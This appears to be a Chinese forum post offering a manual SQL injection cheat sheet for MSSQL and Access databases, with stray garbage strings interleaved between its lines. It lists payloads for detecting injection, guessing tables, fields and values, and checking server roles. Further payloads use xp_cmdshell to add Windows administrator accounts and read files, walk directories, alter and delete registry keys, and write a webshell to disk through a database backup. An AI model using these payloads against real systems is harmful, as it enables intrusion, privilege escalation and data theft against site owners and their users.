手工脚本注入

admin

手工脚本注入
1.判断是否有注入;and 1=1 ;and 1=2
' s. U: h& [( c. O0 R( o
# n) M3 b5 c% Q8 ]8 a- }- U5 k/ E2.初步判断是否是mssql ;and user>0
3 |2 R& r  R6 N8 B; Y3 |* y
3.注入参数是字符'and [查询条件] and ''='
! n6 Q3 J- I0 a3 z$ F/ m2 X
4.搜索时没过滤参数的'and [查询条件] and '%25'='
& v' |/ l# n% r
. W5 {5 |# o! s) e0 G0 t0 W5.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
3 @/ P8 [. P9 q: N# ^( `
6.猜数据库 ;and (select Count(*) from [数据库名])>0
5 N8 ~' W7 t1 g% Z2 ~( v
, r% h, k* Q9 S1 ^9 h; `% |7.猜字段 ;and (select Count(字段名) from 数据库名)>0
+ a* s. Y7 C. P1 ~3 Y  ^  }
8 y- l# |8 v/ [0 N0 U8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0

2 X% I+ U/ Y; p9.(1)猜字段的ascii值（access）
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

: k4 C2 j9 j' V3 U  F% g# N, r(2)猜字段的ascii值（mssql）
: l: p8 X/ r8 I" s. y1 y;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

$ V  A# N4 w) m10.测试权限结构（mssql）
$ K( o. c7 A3 m: d: V& h! o;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
+ V3 @$ @; d) e' Y1 T;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
' h# L$ B% E* \. K$ o: S, k7 [& Q1 V;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
% m- U( z# S; {  L# m9 h;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
' A1 b1 B- b5 Z% @/ L$ B' V;and 1=(select IS_MEMBER('db_owner'));--

11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;--

;exec master.dbo.sp_password null,username,password;--
& H$ m- f7 x3 _- u2 g% i
;exec master.dbo.sp_addsrvrolemember sysadmin username;--

  P4 A9 w/ w& n8 r# D;exec master.dbo.xp_cmdshell 'net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--

;exec master.dbo.xp_cmdshell 'net user username password /add';--
* ]5 e0 e0 F) \
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
/ a8 o9 o8 w5 h. j, }: `
12.(1)遍历目录

;create table dirs(paths varchar(100), id int)
* K$ v/ e* J; U9 ^, T+ V;insert dirs exec master.dbo.xp_dirtree 'c:\'
" e, L( X; |8 i6 m  k7 N% M. S5 A;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
9 F& W6 H# P% N# f8 y& C5 W5 x; l+ d
8 |3 G6 n0 R9 @8 V# j% O/ B$ I9 b' G$ g(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
) K' M, @9 m  h;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
$ [9 M; J. n" y# X0 i% p4 c;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
4 l' K0 K7 R6 }5 J% w
9 Z8 W. ?8 o1 O! @7 f% s" y13.mssql中的存储过程

# |) {2 Q4 ^; A* S& oxp_regenumvalues 注册表根键, 子键
2 e) X# T/ U0 G9 Q( p;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
5 e( l& G" b  Z& {" \$ T
5 X' M0 `+ @; n+ d* Ixp_regread 根键,子键,键值名
;exec xp_regread
* Y0 `5 r9 J% R- a. ~'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值

xp_regwrite 根键,子键, 值名, 值类型, 值
. G- Y  P8 ^( F( ^% q) q值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
3 F$ Y- P; a" Q: ^;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
4 ]/ A2 }. I# Q7 R" z
xp_regdeletevalue 根键,子键,值名
4 ?  y: ?# x$ D6 U  [
) H/ w: {% d; Q# u# I6 n1 dexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值

xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值

1 G5 m9 \9 e' }14.mssql的backup创建webshell
use model
create table cmd(str image);
1 L/ r0 U: u. S: M. J1 V: ?5 x% kinsert into cmd(str) values ('');
- m! |2 n* p7 V3 O/ c# r5 @) Kbackup database model to disk='c:\l.asp';

& l$ @/ N* h3 r15.mssql内置函数
8 h" W6 g2 L0 R" K& @;and (select @@version)>0 获得Windows的版本号
1 \% \3 h/ m" V. q;and user_name()='dbo' 判断当前系统的连接用户是不是sa
* c; o' Y' D" z- ~2 A  ~;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库

: T, a) m! v" V16.简洁的webshell
! p: F* g( o5 S
use model

* K5 n( e& h2 u% R4 r! I1 Zcreate table cmd(str image);

; z1 |9 j0 O4 |: Sinsert into cmd(str) values ('');

4 ^# E- K4 q# q7 @backup database model to disk='g:\wwwtest\l.asp';

老男孩

现在很多防注入啊，有其他注入字符码